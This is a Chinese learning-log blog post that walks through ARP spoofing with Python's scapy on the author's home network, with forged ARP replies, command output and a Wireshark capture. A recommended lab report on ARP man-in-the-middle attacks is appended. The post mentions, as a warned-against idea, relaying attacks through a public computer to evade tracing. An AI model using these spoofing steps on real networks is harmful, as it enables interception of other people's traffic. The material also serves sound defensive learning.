安全学习记录——网络篇(二)ARP欺骗实现过程

上周学习了如何应用网络进行通信连接,今天就更加深入地学习这些通信的方式,也就是我们常说的网络协议protocol(也可能不常说,毕竟我在大三写区块链的报告时才第一次知道协议这个概念)。不过在在这之前,先补充一下上周遗留的ARP脚本问题。我自己是完全不会写脚本的,但我看得懂代码呀,所以借用了别人展示的脚本,当然没有找人授权,因为人家没锁可以直接看,要是介意的话拜托说一下。对方的地址是:来一场ARP欺骗吧(附攻击脚本) - 春告鳥 - 博客园 (cnblogs.com)ARP欺骗原理+python脚本实现_使用python将自己电脑伪装成网关实现arp-CSDN博客

我们已经知道,ARP的关键在于找不到本地储存的IP和对应的MAC地址时会广播找人,同时又不会验证找到的人是不是对的,也不会管自己到底有没有找过人,所以只要有人给了IP和MAC就会记录。所以ARP欺骗的关键在于模拟数据包来替换掉原本储存的IP或MAC。这里我们使用的python来实现一个简单的工具,下载包然后导入就行,如果用的kali,直接进入root输入scapy回车就行,它会自动运运行直到出现>>>(如果不知道什么是kali,Linux,root,百度自己实验一下,特别简单)。

pip install scapy
from scapy.all import * 
--------
(root㉿kali)-[/home/kali]
└─# scapy

还是老生常谈的问题,我们不需要直到这个包到底是怎么工作的,我们只用知道,它能帮助我们模拟并发送几乎所有类型的网络数据包,具体怎使用通过ls()来查看,括号里就写协议名称。懂英语的话理解起来应该很简单,hw=hardware硬件,src=source源,destination目的,p=ip,op=option选项,len=length长度。

ls(ARP)
hwtype     : XShortEnumField                     = ('1')
ptype      : XShortEnumField                     = ('2048')
hwlen      : FieldLenField                       = ('None')
plen       : FieldLenField                       = ('None')
op         : ShortEnumField                      = ('1') #1表示请求,2表示响应
hwsrc      : MultipleTypeField (SourceMACField, StrFixedLenField) = ('None') 
psrc       : MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField) = ('None') 
hwdst      : MultipleTypeField (MACField, StrFixedLenField) = ('None')
pdst       : MultipleTypeField (IPField, IP6Field, StrFixedLenField) = ('None')

好了,我们开始攻击。首先要知道目标的IP,如果没有目标可以通过本地cmd的arp -a去查IP,输出结果肯定很多,这里只截取了一部分。在这个池子里随意挑选一个幸运儿(倒霉蛋)吧。这里选取我手机IP 124.190

C:\Users\Administrator>arp -a

接口: 192.168.138.1 --- 0x4
  Internet 地址         物理地址              类型
  192.168.138.254       00-50-56-ea-c2-82     动态
  192.168.138.255       ff-ff-ff-ff-ff-ff     静态
  224.0.0.2             01-00-5e-00-00-02     静态
  224.0.0.22            01-00-5e-00-00-16     静态

然后我们看看这个包是如何工作的,我发现它会自动获取本机的IP和MAC,所以联系时就不再需要我们去设置源地址了,但是这样直接暴露IP容易被抓包溯源,因此在实际情况下,我们发动攻击时可以使用任意设备来广播,让对方响应一个公共设备,比如图书馆电脑,然后远控公共设备来获取我们想要的东西(然后牢底坐穿,千万别这么干)。所以这个地方的本地IP和MAC是可设置的。

arp = ARP() #生成arp包的对象
arp.show() #使用包中带有的方法显示信息
###[ ARP ]### 
  hwtype    = Ethernet (10Mb)
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = who-has
  hwsrc     = e0:0a:f6:84:51:b5
  psrc      = 192.168.124.186
  hwdst     = 00:00:00:00:00:00
  pdst      = 0.0.0.0

然后似乎再添加一个目标IP就能使用了?我们试试。这里用的我的手机IP。在下面的结果中,我们收到了对方返回给我们的响应,并且自动补全了缺失的物理IP地址长度hwlen、plen,以及arp的选项模式op。对方的物理地址是返回包中的源地址:f6:d7:e8:c1:ec:c2

arp.pdst = "192.168.124.190" #添加目标IP
sr1(arp,timeout = 5)  #s=send发送,r=recive接收,1=第一次响应,timeout=设定时间为5秒内
##########
Begin emission:
Finished sending 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets

<ARP  hwtype=Ethernet (10Mb) ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=f6:d7:e8:c1:ec:c2 psrc=192.168.124.190 hwdst=e0:0a:f6:84:51:b5 pdst=192.168.124.186 |>

那我们看看是不是这个地址呢,通过arp -a来查到最后一个符合手机的MAC地址

接口: 192.168.124.186 --- 0x9
  Internet 地址         物理地址              类型
  192.168.124.166       de-24-59-04-41-aa     动态
  192.168.124.190       f6-d7-e8-c1-ec-c2     动态

这就是一次完整的arp发包的过程,相当于我们获取到了对方的身份证,现在需要做的事情就是欺骗路由,对方这个IP地址实际是指向我们。办法其实很简单,知道路由的接口IP就直接发送一个响应包,路由的IP通过cmd来查就行,直接ipconfig,默认网关就是。我们自己的物理地址通过IP通过ipconfig /all获得,在无线局域网适配器中:192.168.124.1

无线局域网适配器 WLAN:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::66ee:2c21:fe6f:40e8%9
   IPv4 地址 . . . . . . . . . . . . : 192.168.124.186
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.124.1

无线局域网适配器 WLAN:

   连接特定的 DNS 后缀 . . . . . . . :
   描述. . . . . . . . . . . . . . . : Realtek RTL8852BE WiFi 6 802.11ax PCIe Adapter
   物理地址. . . . . . . . . . . . . : E0-0A-F6-84-51-B5

通过同样的方式获取到路由的物理地址:a0:69:d9:0a:f7:64

arp.pdst = "192.168.124.1"
sr1(arp,timeout = 5)
##########
Begin emission:
Finished sending 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets

<ARP  hwtype=Ethernet (10Mb) ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=a0:69:d9:0a:f7:64 psrc=192.168.124.1 hwdst=e0:0a:f6:84:51:b5 pdst=192.168.124.186 |<Padding  load='<\\\\xee\\x82<\\\\xee\\x82D\\\\xee\\x82D\\    ' |>>

然后我们要开始将响应包中我手机的物理地址替换为我电脑的物理地址。但是当我们查看路由表时并没有成功覆盖掉MAC地址,这是为什么呢?

arp.op = 2
arp.psrc = "192.168.124.190" #手机IP
arp.pdst = "192.168.124.1" #路由IP
arp.hwdst = "a0:69:d9:0a:f7:64" #路由物理地址
send(arp)

Sent 1 packets.
#路由表
192.168.124.190       f6-d7-e8-c1-ec-c2     动态

因为现在的设备大多数都安装了防火墙、静态表等防止ARP欺骗的功能,我们用抓包攻击抓取ARP数据包后得到就是我们想要的,这里显示我们手机的IP正在电脑的物理地址上,说明这个脚本执行成功,但是因为设备本身的防御手段,使得我们没有成功篡改路由表,并且被显示在了流量中,使得运维人员能快速找到攻击源。

#wireshark抓包
126	5.931827	LiteonTechno_84:51:b5	NewH3CTechno_0a:f7:64	ARP	42	192.168.124.190 is at e0:0a:f6:84:51:b5

#路由表arp -a
192.168.124.190       f6-d7-e8-c1-ec-c2     动态

OK,一次简单的ARP欺骗执行完成,以上过程不需要任何代码基础就能操作,如果想要制作相关的工具的话,就需要一定的程序语言知识了,但是也不多,所以安全这门学科根本不需要多么厉害的代码能力,关键是思维的活跃程度和一定的运气。

总结一下这次脚本的学习,这是我自己第一次根据别人现成的脚本总结知识并手打过程,并且结合了之前自己学习的知识,成就感还是很足的。首先第一点,感谢python的各种包,脚本所需要的程序知识并不多,基本上只需要懂对象、循环、调用就能自己写了。然后,对于网络协议的理解稍微改变了一点,以前学习协议的时候,可以说只会走流程,自然而然地觉得只要流程搞明白就万事大吉;但这是标准的应试思维,万事万物都只求一个答案在安全学习里是万万不可的;要充分实践“法无禁止即可为”(这个大家自己看着办,毕竟有的规则写出来了却不执行,而且有的规则并不会写出来却一直在被执行,这里只针对安全研究)。最后就是关于网络协议学习的一些想法,网络是一门很深很大的学科,想要学透学懂非常困难,而且极其消耗时间,所以安全学习的补基础阶段千万不能抱着人家网络工程师的书啃。一切都应该从应用出发,了解在应用层之下,什么东西最常用,覆盖最广。

接下来开始学习网络协议了,跟一般学网络的人不同,我不从传输层开始,而从应用层开始,因为我的目的是做网安,而不是网工,不然干嘛叫安全学习记录。

  • 7
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
《计算机网络安全》实验报告 实验名称: arp欺骗 提交报告时间: 年 月 日 1. 实验目的 程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范措施。 2. 系统环境 主机1 windows系统 主机2 windows系统 主机3 linux操作系统 3. 网络环境 同一网段下的网络 四、实验步骤与实验结果 将主机A、C、E为一组,B、D、F为一组。实验角色说明如下: "实验主机 "实验角色 " "主机A、B "目标主机一/Windows " "主机C、D "黑客主机/Linux " "主机E、F "目标主机/Windows " 首先使用"快照X"恢复Windows/Linux系统环境。 一.ARP欺骗攻击 实验需求: (1)本实验使用交换网络结构(参见附录B),组一、和三间通过交换模块连接(主 机A、C、E通过交换模块连接,主机B、D、F也通过交换模块连接)。因此,正常情况下 ,主机C无法以嗅探方式监听到主机A与主机E间通信数据,同样主机D也无法监听到主机 B与主机F间的通信数据。 (2)主机C要监听主机A和主机E间的通信数据;主机D要监听主机B与主机F间的通信数据 。 分析: 黑客主机通过对目标主机进行ARP欺骗攻击,获取目标主机间的通信数据。 1.正常通信 图6-1-1 目标主机正常通信示意图 (1)目标主机单击工具栏"UDP工具"按钮,启动UDP连接工具,创建2513/udp服务端。 主机1发送数据 (2)目标主机一启动UDP连接工具,将"目标机器"IP地址指定为目标主机的地址,目 标端口与服务器一致。在"数据"文本框中输入任意内容,单击"发送"按钮,向服务端发 数据。服务端确定接收到数据。 主机2接收到数据 (3)黑客主机单击工具栏"控制台"按钮,切换至/opt/ExpNIC/NetAD- Lab/Tools/ids目录(Snort目录),命令如下: 主机3 通过上述命令snort仅会监听源IP地址为目标主机一的、传输协议类型为UDP的网络 数据(详细的snort使用命令见实验10|练习一)。 (4)目标主机一再次向目标主机发送消息,黑客主机停止snort监听(Ctrl+C),观 察snort监听结果,是否监听到目标主机间的通信数据。为什么? 主机1向主机2发送消息 主机3不能监听到主机1发送到的数据 因为命令snort只会监听源IP地址为目标主机一的、传输协议类型为UDP的网络数据,并 不能截获数据 (5)目标主机一查看ARP缓存表,确定与目标主机的IP相映射的MAC地址是否正常。 此时主机1arp缓存正常 2.ARP攻击 图6-1-2 ARP攻击示意图 (1)黑客主机单击平台工具栏"控制台"按钮,进入实验目录,运行ARPattack程序攻击 目标主机一,将其ARP缓存表中与目标主机相映射的MAC地址更改为黑客主机的MAC地址 ,命令如下: 其中第一个参数为被攻击主机IP地址,第个参数为被攻击主机MAC地址,第三个 参数为与被攻击主机进行正常通信的主机IP地址。 通过上述命令在目标主机一的ARP缓存表中,与目标主机IP相绑定的MAC被更改为黑客 主机MAC。 (2)黑客主机启动snort,同样监听源IP地址为目标主机一的、传输协议类型为UDP的网 络数据。 (3)目标主机一继续向目标主机发送数据,目标主机是否接收到数据?目标主机间 的通信是否正常?黑客主机停止snort监听,观察snort监听结果,是否监听到目标主机 间的通信数据。为什么?主机2不能接收到数据,通信不正常 主机1发送数据"ee" 主机三监听到发送的数据"ee" 因为运行ARPattack程序攻击目标主机一,将其ARP缓存表中与目标主机相映射的M AC地址更改为黑客主机的MAC地址,主机3已经截获了主机1发给主机2的数据;命令snor t会监听源IP地址为目标主机一的、传输协议类型为UDP的网络数据。 (4)目标主机一查看ARP缓存表,确定与目标主机的IP相映射的MAC地址是否正常。 Ip为主机2ip,但MAC已经改成黑客主机的MAC地址了 3.单向欺骗 正如步骤2中所示的实验现象,在黑客实施了简单的ARP攻击后,目标主机会接收不到 目标主机一的消息,在接下来的时间里目标主机一、很容易会对网络状况产生怀疑。 他们会去查看并修改ARP缓存表。所以应尽量减少目标主机由于受到ARP攻击而表现出的 异常,将黑客主机做为"中间人",将目标主机一发送的数据转发给目标主机,是一种 很可行的方法。 图6-1-3 ARP单向欺骗示意图 (1)黑客主机开启路由功能,具体操作如下: 在控制台中输入命令:echo 1 >/proc/sys/net/ipv4/ip_forward 主机3 (2)黑客主机捕获来自目标主机一的数据包,并将

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值